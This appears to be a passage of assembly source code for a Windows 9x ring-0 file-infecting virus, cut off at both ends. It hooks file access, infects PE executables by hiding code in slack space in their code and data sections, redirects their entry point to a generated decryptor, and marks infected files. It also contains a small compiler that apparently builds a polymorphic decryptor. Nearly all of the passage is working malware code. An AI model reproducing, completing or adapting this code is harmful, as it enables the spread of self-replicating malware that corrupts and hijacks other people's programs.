ja FileFunctionEnd
|
|||
|
|
|||
|
add eax,'a'-1
|
|||
|
add eax,':'*256
|
|||
|
|
|||
|
lea esi,[FileToInfect+edi]
|
|||
|
|
|||
|
mov word ptr [esi],ax
|
|||
|
|
|||
|
add esi,2
|
|||
|
|
|||
|
push 0
|
|||
|
push 250
|
|||
|
mov eax,[ebp+28]
|
|||
|
mov eax,[eax+12]
|
|||
|
add eax,4
|
|||
|
push eax
|
|||
|
push esi
|
|||
|
|
|||
|
push UniToBCSPath
|
|||
|
call vxd
|
|||
|
add esp,16
|
|||
|
|
|||
|
mov byte ptr [esi+eax],0
|
|||
|
|
|||
|
cmp dword ptr [esi+eax-4],'EXE.'
|
|||
|
jne FileFunctionEnd
|
|||
|
|
|||
|
xor ebx,ebx
|
|||
|
cmp dword ptr [esi+1],'OLNU' ; is catalog starting on unlo
|
|||
|
setz bl
|
|||
|
mov [Unload+edi],ebx ; unload virus then
|
|||
|
|
|||
|
|
|||
|
cmp dword ptr [esi],'FNI' ; dont infect files in win*
|
|||
|
jne FileFunctionEnd ; if there is a bug we dont
|
|||
|
; to hurt system critical
|
|||
|
; files
|
|||
|
|
|||
|
|
|||
|
|
|||
|
sub esi,2
|
|||
|
mov bx,2
|
|||
|
mov cx,0
|
|||
|
mov dx,1h
|
|||
|
mov eax,R0_OPENCREATFILE
|
|||
|
call FileIO
|
|||
|
jc FileFunctionEnd
|
|||
|
|
|||
|
|
|||
|
mov [FileHandle+edi],eax
|
|||
|
|
|||
|
xor edx,edx ; where to read in file
|
|||
|
call FileIOReadDWordToSlack
|
|||
|
jc FileFunctionEndCloseFile
|
|||
|
|
|||
|
|
|||
|
cmp word ptr [Slack+edi],'ZM'
|
|||
|
jnz FileFunctionEnd
|
|||
|
|
|||
|
mov edx,3ch ; where to read in file
|
|||
|
call FileIOReadDWordToSlack
|
|||
|
|
|||
|
mov edx,[Slack+edi]
|
|||
|
mov [PEHeadOfs+edi],edx
|
|||
|
|
|||
|
call FileIOReadDWordToSlack
|
|||
|
|
|||
|
cmp word ptr [Slack+edi],'EP'
|
|||
|
jnz FileFunctionEndCloseFile
|
|||
|
|
|||
|
mov edx,[PEHeadOfs+edi]
|
|||
|
add edx,84
|
|||
|
call FileIOReadDWordToSlack
|
|||
|
|
|||
|
mov ecx,[Slack+edi] ; size of exehead, pehead and
|
|||
|
; objtable
|
|||
|
|
|||
|
mov edx,[PEHeadOfs+edi]
|
|||
|
sub ecx,edx ; size of pehead and objtable
|
|||
|
|
|||
|
cmp ecx,1000h
|
|||
|
ja FileFunctionEndCloseFile
|
|||
|
|
|||
|
mov [HeaderSize+edi],ecx
|
|||
|
lea eax,[ecx+20]
|
|||
|
|
|||
|
; allocate mem for PEHeader
|
|||
|
push eax
|
|||
|
push R0_AllocMem
|
|||
|
call vxd
|
|||
|
pop ecx
|
|||
|
test eax,eax
|
|||
|
jz FileFunctionEndCloseFile
|
|||
|
|
|||
|
|
|||
|
mov ecx,[HeaderSize+edi]
|
|||
|
mov edx,[PEHeadOfs+edi]
|
|||
|
mov esi,eax
|
|||
|
mov [PEHeadStart+edi],esi
|
|||
|
call FileIORead
|
|||
|
|
|||
|
mov eax,[PEHeadStart+edi]
|
|||
|
cmp word ptr [eax],'EP'
|
|||
|
jnz FileFunctionEndAddEsp
|
|||
|
|
|||
|
mov ebx,'y3k?' ; already infected
|
|||
|
cmp [eax+12],ebx
|
|||
|
jz FileFunctionEndAddEsp
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mov edx,'xet.'
|
|||
|
call GetSegmentSlack
|
|||
|
|
|||
|
; eax = how much free space
|
|||
|
; ebx = where it is located
|
|||
|
; ecx = pointer to segment object table
|
|||
|
; edx = pointer to last object table
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
cmp eax,[GuideSize+edi]
|
|||
|
jl FileFunctionEndAddEsp
|
|||
|
|
|||
|
mov [CodeObjectPtr+edi],ecx ; save offset of code object
|
|||
|
mov [SlackInCodeSegment+edi],ebx
|
|||
|
|
|||
|
mov edx,'tad.'
|
|||
|
call GetSegmentSlack
|
|||
|
test eax,eax
|
|||
|
jz FileFunctionEndAddEsp
|
|||
|
|
|||
|
|
|||
|
mov [DataObjectPtr+edi],ecx ; save offset of data object
|
|||
|
push eax
|
|||
|
push ebx
|
|||
|
.if (ecx==edx)
|
|||
|
mov ebx,[PEHeadStart+edi]
|
|||
|
mov eax,[ebx+PE_FileAlign+8] ; file align
|
|||
|
.else
|
|||
|
mov eax,[ecx+Obj_PhysicalSize] ; physical size
|
|||
|
.endif
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mov ebx,[ecx+Obj_VirtualSize] ; - virtual size
|
|||
|
sub eax,ebx ; = free space
|
|||
|
|
|||
|
mov [SlackInDataSegment+edi],ebx
|
|||
|
|
|||
|
cmp eax,MemorySize*4 ; if this is true we can be
|
|||
|
jg InfectFile ; 'sure' no bug will occure.
|
|||
|
|
|||
|
add eax,ebx ; size of .data segment on
|
|||
|
; disk
|
|||
|
sub eax,MemorySize*4+10 ; some safety
|
|||
|
|
|||
|
pop ebx ; where in file the zero
|
|||
|
add ebx,200h ; slack starts
|
|||
|
sub eax,ebx
|
|||
|
pop eax ; size of slack block
|
|||
|
jc FileFunctionEndAddEsp
|
|||
|
|
|||
|
sub eax,250h+MemorySize*4 ; enough mem free
|
|||
|
jc FileFunctionEndAddEsp ; this method is more risky
|
|||
|
; will bug out if the
|
|||
|
; infected program relies
|
|||
|
; on the data to be cleared
|
|||
|
sub esp,8
|
|||
|
mov [SlackInDataSegment+edi],ebx
|
|||
|
|
|||
|
InfectFile:
|
|||
|
add esp,8
|
|||
|
|
|||
|
mov [LastObjectPtr+edi],edx ; ptr to last object table
|
|||
|
|
|||
|
mov ecx,[PEHeadStart+edi]
|
|||
|
mov edx,[ecx+PE_Entrypoint] ; save old RVA
|
|||
|
mov [OldRVA+edi],edx
|
|||
|
|
|||
|
|
|||
|
mov ecx,[CodeObjectPtr+edi]
|
|||
|
mov ebx,[SlackInCodeSegment+edi]
|
|||
|
|
|||
|
|
|||
|
BreakPoint:
|
|||
|
|
|||
|
mov eax,ebx ; ebx = how far in is free
|
|||
|
; space
|
|||
|
add ebx,[ecx+Obj_VirtualOffset] ; ebx = free space in mem
|
|||
|
|
|||
|
mov edx,[PEHeadStart+edi]
|
|||
|
mov [edx+PE_Entrypoint],ebx ; save new RVA
|
|||
|
|
|||
|
|
|||
|
add eax,[ecx+Obj_PhysicalOffset] ; eax = free space in file
|
|||
|
mov [NewGuideOffset+edi],eax
|
|||
|
|
|||
|
|
|||
|
mov ecx,[DataObjectPtr+edi]
|
|||
|
|
|||
|
mov eax,[ecx+Obj_VirtualOffset] ; data space in mem
|
|||
|
add eax,[SlackInDataSegment+edi] ; free data space in mem
|
|||
|
add eax,(MemorySize-1)*4
|
|||
|
add eax,[edx+PE_ImageBase] ; add with image base
|
|||
|
|
|||
|
mov ecx,MemorySize
|
|||
|
mov ebx,[MemoryTable+edi]
|
|||
|
|
|||
|
mov edx,0ch
|
|||
|
mov [ebx+ecx*4],edx ; used in fs:[0c]
|
|||
|
|
|||
|
sub ebx,4
|
|||
|
|
|||
|
CopyPointersToMem:
|
|||
|
mov [ebx+ecx*4],eax
|
|||
|
sub eax,4
|
|||
|
dec ecx
|
|||
|
jnz CopyPointersToMem
|
|||
|
|
|||
|
add ebx,4
|
|||
|
mov [PointerToDataSlack+edi],ebx
|
|||
|
|
|||
|
|
|||
|
mov ebx,[LastObjectPtr+edi]
|
|||
|
mov eax,[VirtualDataSegment+edi]
|
|||
|
|
|||
|
|
|||
|
mov ecx,[ebx+Obj_VirtualOffset] ; virtual offset
|
|||
|
add ecx,[ebx+Obj_PhysicalSize] ; physical size
|
|||
|
mov edx,[PEHeadStart+edi]
|
|||
|
add ecx,[edx+PE_ImageBase] ; add with imagebase
|
|||
|
|
|||
|
mov [eax+8],ecx ; Decryptor Entrypoint
|
|||
|
|
|||
|
mov edx,[OldRVA+edi]
|
|||
|
mov ebx,[PEHeadStart+edi]
|
|||
|
add edx,[ebx+PE_ImageBase] ; add with image base
|
|||
|
mov [eax],edx ; Program entrypoint
|
|||
|
|
|||
|
mov ebx,[DataObjectPtr+edi]
|
|||
|
mov ecx,[ebx+Obj_VirtualOffset] ; Virtual offset
|
|||
|
add ecx,[SlackInDataSegment+edi] ; Virtual offset of data slack
|
|||
|
mov edx,[PEHeadStart+edi]
|
|||
|
add ecx,[edx+PE_ImageBase] ; add with image base
|
|||
|
|
|||
|
mov [eax+4],ecx
|
|||
|
|
|||
|
mov ecx,[ebx+Obj_PhysicalOffset]
|
|||
|
add ecx,[SlackInDataSegment+edi] ; Physical offset of data slack
|
|||
|
|
|||
|
mov [NewDataSegmentOffset+edi],ecx
|
|||
|
|
|||
|
mov ebx,[LastObjectPtr+edi]
|
|||
|
|
|||
|
mov ecx,[ebx+Obj_PhysicalSize] ; physical size
|
|||
|
add ecx,[ebx+Obj_PhysicalOffset] ; physical offset
|
|||
|
|
|||
|
mov [NewDecryptorOffset+edi],ecx ; Entrypoint in file
|
|||
|
|
|||
|
mov edx,[eax+8] ; decryptor start
|
|||
|
add edx,[DecryptorSize+edi]
|
|||
|
mov [eax+12],edx ; save where to start decrypt
|
|||
|
|
|||
|
|
|||
|
; write Guide
|
|||
|
pushad
|
|||
|
|
|||
|
mov esi,[GuidePos+edi]
|
|||
|
|
|||
|
mov eax,[GuideSize+edi]
|
|||
|
add eax,100
|
|||
|
|
|||
|
; allocate mem for PEHeader
|
|||
|
push eax
|
|||
|
push R0_AllocMem
|
|||
|
call vxd
|
|||
|
pop ecx
|
|||
|
test eax,eax
|
|||
|
jz FileFunctionEndCloseFile
|
|||
|
|
|||
|
mov [TempPtr+edi],eax
|
|||
|
|
|||
|
push edi
|
|||
|
mov ebp,edi
|
|||
|
mov edi,eax
|
|||
|
|
|||
|
call Compile
|
|||
|
pop edi
|
|||
|
|
|||
|
mov edx,[NewGuideOffset+edi] ; write to
|
|||
|
mov ecx,[GuideSize+edi] ; write ecx bytes
|
|||
|
call FileIOWrite
|
|||
|
|
|||
|
mov eax,[TempPtr+edi]
|
|||
|
push eax
|
|||
|
push R0_FreeMem
|
|||
|
call vxd
|
|||
|
pop eax
|
|||
|
|
|||
|
mov esi,[DecryptorPos+edi]
|
|||
|
|
|||
|
mov eax,[DecryptorSize+edi]
|
|||
|
add eax,100
|
|||
|
|
|||
|
; allocate mem for PEHeader
|
|||
|
push eax
|
|||
|
push R0_AllocMem
|
|||
|
call vxd
|
|||
|
pop ecx
|
|||
|
test eax,eax
|
|||
|
jz FileFunctionEndCloseFile
|
|||
|
mov [TempPtr+edi],eax
|
|||
|
|
|||
|
push edi
|
|||
|
mov ebp,edi
|
|||
|
mov edi,eax
|
|||
|
call Compile
|
|||
|
|
|||
|
pop edi
|
|||
|
|
|||
|
; write Decryptor
|
|||
|
mov edx,[NewDecryptorOffset+edi]
|
|||
|
mov ecx,[DecryptorSize+edi]
|
|||
|
|
|||
|
call FileIOWrite
|
|||
|
|
|||
|
mov eax,[TempPtr+edi]
|
|||
|
push eax
|
|||
|
push R0_FreeMem
|
|||
|
call vxd
|
|||
|
pop eax
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
mov edx,[NewDataSegmentOffset+edi]
|
|||
|
mov ecx,MemorySize*4
|
|||
|
mov esi,[VirtualDataSegment+edi]
|
|||
|
call FileIOWrite
|
|||
|
|
|||
|
|
|||
|
mov edx,[NewDecryptorOffset+edi]
|
|||
|
add edx,[DecryptorSize+edi]
|
|||
|
mov ecx,VSize
|
|||
|
mov esi,[VirusInRing0Mem+edi]
|
|||
|
call FileIOWrite
|
|||
|
|
|||
|
|
|||
|
mov ebx,VSize
|
|||
|
add ebx,[DecryptorSize+edi]
|
|||
|
|
|||
|
mov esi,[LastObjectPtr+edi]
|
|||
|
mov eax,[esi+Obj_PhysicalSize] ; physical size
|
|||
|
add eax,ebx ; add with new virussize
|
|||
|
add eax,100 ; safety
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mov edx,[PEHeadStart+edi]
|
|||
|
mov ecx,[edx+PE_ObjectAlign] ; object align
|
|||
|
xor edx,edx
|
|||
|
div ecx
|
|||
|
inc eax
|
|||
|
xor edx,edx
|
|||
|
mul ecx
|
|||
|
|
|||
|
.if eax>[esi+8]
|
|||
|
mov [esi+Obj_VirtualSize],eax ; save new virtual size
|
|||
|
.endif
|
|||
|
|
|||
|
|
|||
|
mov eax,[esi+Obj_PhysicalSize] ; physical size
|
|||
|
add eax,ebx ; add with virus size
|
|||
|
add eax,20 ; safety
|
|||
|
|
|||
|
mov edx,[PEHeadStart+edi]
|
|||
|
mov ecx,[edx+PE_FileAlign] ; file align
|
|||
|
xor edx,edx
|
|||
|
div ecx
|
|||
|
inc eax
|
|||
|
xor edx,edx
|
|||
|
mul ecx
|
|||
|
|
|||
|
mov [esi+Obj_PhysicalSize],eax ; save new physical size
|
|||
|
|
|||
|
mov eax,'y3k?'
|
|||
|
mov ecx,[PEHeadStart+edi]
|
|||
|
mov [ecx+12],eax
|
|||
|
|
|||
|
mov eax,[LastObjectPtr+edi]
|
|||
|
mov esi,0c0000040h
|
|||
|
mov [eax+Obj_Flags],esi
|
|||
|
|
|||
|
mov eax,[ecx+PE_ImageSize] ; size of image
|
|||
|
add eax,VirusSize ; add with virussize
|
|||
|
mov ecx,[ecx+PE_ObjectAlign] ; object aligment
|
|||
|
xor edx,edx
|
|||
|
div ecx
|
|||
|
inc eax
|
|||
|
xor edx,edx
|
|||
|
mul ecx ; new size of image in eax
|
|||
|
mov esi,[PEHeadStart+edi]
|
|||
|
mov [esi+PE_ImageSize],eax ; save it
|
|||
|
|
|||
|
mov edx,[PEHeadOfs+edi] ; write to
|
|||
|
mov ecx,[HeaderSize+edi]
|
|||
|
call FileIOWrite
|
|||
|
|
|||
|
FileFunctionEndAddEsp:
|
|||
|
mov eax,[PEHeadStart+edi]
|
|||
|
push eax
|
|||
|
push R0_FreeMem
|
|||
|
call vxd
|
|||
|
pop eax
|
|||
|
|
|||
|
FileFunctionEndCloseFile:
|
|||
|
|
|||
|
mov eax,R0_CLOSEFILE
|
|||
|
call FileIOHandle
|
|||
|
|
|||
|
FileFunctionEnd:
|
|||
|
xor eax,eax
|
|||
|
mov [edi+Flag], eax
|
|||
|
|
|||
|
CallInOurFunction:
|
|||
|
mov eax,[edi+OldAPIFunction]
|
|||
|
mov ecx,edi
|
|||
|
|
|||
|
|
|||
|
pop ebx
|
|||
|
pop esi
|
|||
|
pop edi
|
|||
|
pop ebp
|
|||
|
|
|||
|
pop [ReturnFromHook+ecx]
|
|||
|
lea edx,[ReturnFromHook+ecx+4]
|
|||
|
sub [ReturnFromHook+ecx],edx
|
|||
|
|
|||
|
call dword ptr [eax]
|
|||
|
|
|||
|
db 0e9h
|
|||
|
ReturnFromHook:
|
|||
|
dd 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ------------------------------
|
|||
|
; --------------------- Compiler
|
|||
|
; ------------------------------
|
|||
|
|
|||
|
PointerToRandomMemory equ MemorySize
|
|||
|
|
|||
|
PointerToDataSlack dd 0
|
|||
|
|
|||
|
SavedOffsets dd 10 dup (-1)
|
|||
|
|
|||
|
InstructionTable:
|
|||
|
dd Op_add
|
|||
|
dd Op_and
|
|||
|
dd Op_cmp
|
|||
|
dd Op_or
|
|||
|
dd Op_sub
|
|||
|
dd Op_xor
|
|||
|
|
|||
|
dd Op_mov
|
|||
|
dd Op_jmp
|
|||
|
|
|||
|
dd Op_jnz
|
|||
|
dd Op_jnb
|
|||
|
dd Op_jna
|
|||
|
|
|||
|
|
|||
|
dd Op_offset
|
|||
|
dd Op_db
|
|||
|
InstructionTableEnd:
|
|||
|
|
|||
|
InstructionTables:
|
|||
|
AddTable:
|
|||
|
dd DefaultProc1
|
|||
|
db 00000000b
|
|||
|
db 10000000b
|
|||
|
db 00000100b
|
|||
|
db 000b
|
|||
|
|
|||
|
AndTable:
|
|||
|
dd DefaultProc1
|
|||
|
db 00100000b
|
|||
|
db 10000000b
|
|||
|
db 00100100b
|
|||
|
db 100b
|
|||
|
|
|||
|
CmpTable:
|
|||
|
dd DefaultProc1
|
|||
|
db 00111000b
|
|||
|
db 10000000b
|
|||
|
db 00111100b
|
|||
|
db 111b
|
|||
|
|
|||
|
OrTable:
|
|||
|
dd DefaultProc1
|
|||
|
db 00001000b
|
|||
|
db 10000000b
|
|||
|
db 00001100b
|
|||
|
db 001b
|
|||
|
|
|||
|
SubTable:
|
|||
|
dd DefaultProc1
|
|||
|
db 00101000b
|
|||
|
db 10000000b
|
|||
|
db 00101100b
|
|||
|
db 101b
|
|||
|
|
|||
|
XorTable:
|
|||
|
dd DefaultProc1
|
|||
|
db 00110000b
|
|||
|
db 10000000b
|
|||
|
db 00110100b
|
|||
|
db 110b
|
|||
|
|
|||
|
MovTable:
|
|||
|
dd MoveProc
|
|||
|
db 10001000b
|
|||
|
db 11000110b
|
|||
|
db 10111000b
|
|||
|
db 000b
|
|||
|
|
|||
|
|
|||
|
JmpTable:
|
|||
|
dd JmpProc
|
|||
|
dd 0
|
|||
|
|
|||
|
|
|||
|
JnzTable:
|
|||
|
dd JxxProc
|
|||
|
db 0101b
|
|||
|
db 0,0,0
|
|||
|
|
|||
|
JnbTable:
|
|||
|
dd JxxProc
|
|||
|
db 0011b
|
|||
|
db 0,0,0
|
|||
|
|
|||
|
JnaTable:
|
|||
|
dd JxxProc
|
|||
|
db 0110b
|
|||
|
db 0,0,0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
OffsetTable:
|
|||
|
dd OffsetProc
|
|||
|
dd 0
|
|||
|
|
|||
|
DeclareByteTable:
|
|||
|
dd DeclareByteProc
|
|||
|
dd 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ToValue dd 0
|
|||
|
ToTypeOfValue dd 0
|
|||
|
|
|||
|
SecondValue dd 0
|
|||
|
SecondTypeOfValue dd 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Instruction dd 0,0,0
|
|||
|
InstructionLength dd 0
|
|||
|
|
|||
|
|
|||
|
RegistersBitValue:
|
|||
|
dd 0
|
|||
|
IntelEax dd 000b
|
|||
|
IntelEbx dd 011b
|
|||
|
IntelEcx dd 001b
|
|||
|
IntelEdx dd 010b
|
|||
|
IntelEsi dd 110b
|
|||
|
IntelEdi dd 111b
|
|||
|
IntelEsp dd 100b
|
|||
|
|
|||
|
|
|||
|
ReadInstruction1:
|
|||
|
push edi
|
|||
|
lea edi,[InstructionTable+ebp]
|
|||
|
|
|||
|
mov ecx,(InstructionTableEnd-InstructionTable)/4+1
|
|||
|
add esi,16
|
|||
|
and esi,0fffffff0h
|
|||
|
|
|||
|
lodsd
|
|||
|
bswap eax
|
|||
|
|
|||
|
push edi
|
|||
|
repnz scasd
|
|||
|
|
|||
|
sub edi,[esp]
|
|||
|
|
|||
|
shl edi,1
|
|||
|
|
|||
|
lea ebx,[edi+4-8+InstructionTables+ebp]
|
|||
|
|
|||
|
mov eax,[ebx-4]
|
|||
|
add eax,ebp
|
|||
|
pop edi
|
|||
|
pop edi
|
|||
|
|
|||
|
test ecx,ecx
|
|||
|
jz CompileEnd
|
|||
|
|
|||
|
jmp eax
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ReadOperands:
|
|||
|
call GetOperand
|
|||
|
mov [ToValue+ebp],eax
|
|||
|
mov [ToTypeOfValue+ebp],ebx
|
|||
|
|
|||
|
mov al,byte ptr [esi]
|
|||
|
cmp al,','
|
|||
|
jnz Return
|
|||
|
inc esi
|
|||
|
|
|||
|
call GetOperand
|
|||
|
mov [SecondValue+ebp],eax
|
|||
|
mov [SecondTypeOfValue+ebp],ebx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
SetDirectionBit:
|
|||
|
call WhatOperandIsRegMem
|
|||
|
setl bl
|
|||
|
shl ebx,1
|
|||
|
|
|||
|
or [Instruction+ebp],ebx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
GetOther:
|
|||
|
call WhatOperandIsRegMem
|
|||
|
jnl Label40
|
|||
|
|
|||
|
mov eax,[ToValue+ebp]
|
|||
|
mov ebx,[ToTypeOfValue+ebp]
|
|||
|
ret
|
|||
|
|
|||
|
GetRegMem:
|
|||
|
call WhatOperandIsRegMem
|
|||
|
jl Label40
|
|||
|
|
|||
|
mov eax,[ToValue+ebp]
|
|||
|
mov ebx,[ToTypeOfValue+ebp]
|
|||
|
ret
|
|||
|
|
|||
|
Label40:
|
|||
|
mov eax,[SecondValue+ebp]
|
|||
|
mov ebx,[SecondTypeOfValue+ebp]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
RegMem_Reg equ 0
|
|||
|
RegMem_Immediate equ 1
|
|||
|
Eax_Immediate equ 2
|
|||
|
|
|||
|
|
|||
|
FetchOpcode:
|
|||
|
call GetRegMem
|
|||
|
|
|||
|
cmp ebx,4
|
|||
|
setz bl
|
|||
|
cmp eax,1
|
|||
|
setz al
|
|||
|
and eax,ebx
|
|||
|
mov ecx,eax
|
|||
|
|
|||
|
call GetOther
|
|||
|
xor eax,eax
|
|||
|
test ebx,ebx
|
|||
|
jnz Return
|
|||
|
|
|||
|
inc eax
|
|||
|
add eax,ecx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
WhatOperandIsRegMem:
|
|||
|
xor ebx,ebx
|
|||
|
mov eax,[ToTypeOfValue+ebp]
|
|||
|
cmp eax,[SecondTypeOfValue+ebp]
|
|||
|
ret
|
|||
|
|
|||
|
FixAddresses:
|
|||
|
lea edx,[Instruction+ebp]
|
|||
|
add edx,[InstructionLength+ebp]
|
|||
|
|
|||
|
|
|||
|
call GetRegMem
|
|||
|
xor ecx,ecx
|
|||
|
cmp ebx,8
|
|||
|
setl cl
|
|||
|
imul ecx,ecx,3
|
|||
|
shl ecx,6
|
|||
|
|
|||
|
cmp ebx,8
|
|||
|
jz MemoryValue
|
|||
|
|
|||
|
mov eax,[eax*4+RegistersBitValue+ebp]
|
|||
|
|
|||
|
or ecx,eax
|
|||
|
jmp Label43
|
|||
|
|
|||
|
|
|||
|
|
|||
|
MemoryValue:
|
|||
|
or ecx,101b
|
|||
|
mov [edx+1],eax
|
|||
|
add [InstructionLength+ebp],4
|
|||
|
|
|||
|
Label43:
|
|||
|
inc [InstructionLength+ebp]
|
|||
|
|
|||
|
call GetOther
|
|||
|
test ebx,ebx
|
|||
|
jz LastOperandIsImmediate
|
|||
|
mov eax,[eax*4+RegistersBitValue+ebp]
|
|||
|
shl eax,3
|
|||
|
or ecx,eax
|
|||
|
|
|||
|
mov byte ptr [edx],cl
|
|||
|
ret
|
|||
|
|
|||
|
LastOperandIsImmediate:
|
|||
|
push edx
|
|||
|
lea edx,[Instruction+ebp]
|
|||
|
add edx,[InstructionLength+ebp]
|
|||
|
mov [edx],eax
|
|||
|
add [InstructionLength+ebp],4
|
|||
|
pop edx
|
|||
|
|
|||
|
or byte ptr [edx],cl
|
|||
|
ret
|
|||
|
|
|||
|
OutputInstruction:
|
|||
|
push esi
|
|||
|
lea esi,[Instruction+ebp]
|
|||
|
mov ecx,[InstructionLength+ebp]
|
|||
|
rep movsb
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
; input
|
|||
|
; Edi -> where to put compiled code
|
|||
|
; Esi -> code to compile
|
|||
|
|
|||
|
; return
|
|||
|
; eax = where to put compiled code
|
|||
|
; ebx = size of compiled code
|
|||
|
Compile:
|
|||
|
push edi
|
|||
|
sub esi,16
|
|||
|
|
|||
|
CompileAgain:
|
|||
|
mov [Instruction+ebp],0
|
|||
|
mov [InstructionLength+ebp],0
|
|||
|
call ReadInstruction1
|
|||
|
mov al,0c3h
|
|||
|
mov byte ptr [edi],al
|
|||
|
jmp CompileAgain
|
|||
|
|
|||
|
CompileEnd:
|
|||
|
pop esi
|
|||
|
pop esi
|
|||
|
mov eax,edi
|
|||
|
sub eax,esi
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
OffsetProc:
|
|||
|
call AsciiToNum
|
|||
|
mov [SavedOffsets+ebp+eax*4],edi
|
|||
|
ret
|
|||
|
|
|||
|
DeclareByteProc:
|
|||
|
xor eax,eax
|
|||
|
lodsb
|
|||
|
mov ecx,eax
|
|||
|
rep movsb
|
|||
|
ret
|
|||
|
|
|||
|
MoveProc:
|
|||
|
push ebx
|
|||
|
call ReadOperands
|
|||
|
call SetDirectionBit
|
|||
|
call FetchOpcode
|
|||
|
|
|||
|
test eax,eax
|
|||
|
jz DefaultProc1Label1
|
|||
|
call GetRegMem
|
|||
|
mov ecx,eax
|
|||
|
mov eax,1
|
|||
|
cmp ebx,8
|
|||
|
jz DefaultProc1Label1
|
|||
|
|
|||
|
mov eax,[ecx*4+RegistersBitValue+ebp]
|
|||
|
lea edx,[Instruction+ebp]
|
|||
|
pop ebx
|
|||
|
or al,byte ptr [ebx+2]
|
|||
|
|
|||
|
mov [edx],eax
|
|||
|
|
|||
|
call GetOther
|
|||
|
mov [edx+1],eax
|
|||
|
mov [InstructionLength+ebp],5
|
|||
|
jmp OutputInstruction
|
|||
|
|
|||
|
|
|||
|
|
|||
|
DefaultProc1:
|
|||
|
push ebx
|
|||
|
call ReadOperands
|
|||
|
call SetDirectionBit
|
|||
|
call FetchOpcode
|
|||
|
|
|||
|
DefaultProc1Label1:
|
|||
|
pop ebx
|
|||
|
add ebx,eax
|
|||
|
|
|||
|
movzx ecx,byte ptr [ebx]
|
|||
|
inc ecx
|
|||
|
|
|||
|
dec eax
|
|||
|
jnz Label41
|
|||
|
mov ch,byte ptr [ebx+2]
|
|||
|
shl ch,3
|
|||
|
|
|||
|
Label41:
|
|||
|
|
|||
|
or [Instruction+ebp],ecx
|
|||
|
inc [InstructionLength+ebp]
|
|||
|
|
|||
|
dec eax
|
|||
|
jz CopyDataToInstruction
|
|||
|
|
|||
|
call FixAddresses
|
|||
|
jmp OutputInstruction
|
|||
|
|
|||
|
CopyDataToInstruction:
|
|||
|
call GetOther
|
|||
|
lea ebx,[Instruction+ebp]
|
|||
|
add ebx,[InstructionLength+ebp]
|
|||
|
mov [ebx],eax
|
|||
|
add [InstructionLength+ebp],4
|
|||
|
jmp OutputInstruction
|
|||
|
|
|||
|
|
|||
|
;-JMP-------Jump
|
|||
|
;Near,8-bit |1|1|1|0|1|0|1|1| 8-bit Displacement
|
|||
|
;Near,Direct |1|1|1|0|1|0|0|1| Full Displacement
|
|||
|
;Near,Indirect |1|1|1|1|1|1|1|1| |mod|1|0|0| R/M |
|
|||
|
|
|||
|
|
|||
|
JmpProc:
|
|||
|
call GetOperand
|
|||
|
xor ecx,ecx
|
|||
|
|
|||
|
test ebx,ebx
|
|||
|
jz JumpIsIndirect
|
|||
|
|
|||
|
mov ebx,[eax*4+RegistersBitValue+ebp]
|
|||
|
|
|||
|
mov al,0ffh
|
|||
|
stosb
|
|||
|
|
|||
|
mov eax,ebx
|
|||
|
or eax,00100000b
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
JumpIsIndirect:
|
|||
|
mov ebx,[SavedOffsets+ebp+eax]
|
|||
|
sub ebx,edi
|
|||
|
|
|||
|
add ebx,4
|
|||
|
|
|||
|
test ebx,0fffffff8h
|
|||
|
jz OutPutSmallJump
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
JxxProc:
|
|||
|
movzx edx,byte ptr [ebx]
|
|||
|
push edx
|
|||
|
call GetOperand
|
|||
|
pop edx
|
|||
|
|
|||
|
mov ebx,[SavedOffsets+ebp+eax]
|
|||
|
sub ebx,edi
|
|||
|
|
|||
|
add ebx,4
|
|||
|
|
|||
|
test ebx,0fffffff8h
|
|||
|
jz OutPutSmallJump
|
|||
|
|
|||
|
mov al,0fh
|
|||
|
stosb
|
|||
|
|
|||
|
mov al,10000000b
|
|||
|
or eax,edx
|
|||
|
stosb
|
|||
|
|
|||
|
sub ebx,6+4
|
|||
|
mov eax,ebx
|
|||
|
stosd
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
OutPutSmallJump:
|
|||
|
mov al,01110000b
|
|||
|
or eax,edx
|
|||
|
stosb
|
|||
|
mov eax,ebx
|
|||
|
sub eax,2+4
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
GetOperand:
|
|||
|
xor edx,edx
|
|||
|
mov al,byte ptr [esi]
|
|||
|
cmp al,'['
|
|||
|
setz dl
|
|||
|
mov ecx,edx
|
|||
|
add esi,edx
|
|||
|
shl edx,3
|
|||
|
mov ebx,edx ; ebx = 0 or 8
|
|||
|
|
|||
|
lodsb
|
|||
|
cmp al,'S' ; A variable
|
|||
|
jnz Label53
|
|||
|
|
|||
|
mov edx,[PointerToDataSlack+ebp]
|
|||
|
lodsd
|
|||
|
mov eax,[edx+eax*4]
|
|||
|
add esi,ecx
|
|||
|
xor edx,edx
|
|||
|
ret
|
|||
|
|
|||
|
Label53:
|
|||
|
cmp al,'R'
|
|||
|
setz dl
|
|||
|
shl edx,2
|
|||
|
add ebx,edx ; ebx = ebx + (0 or 4)
|
|||
|
|
|||
|
test edx,edx ; is value
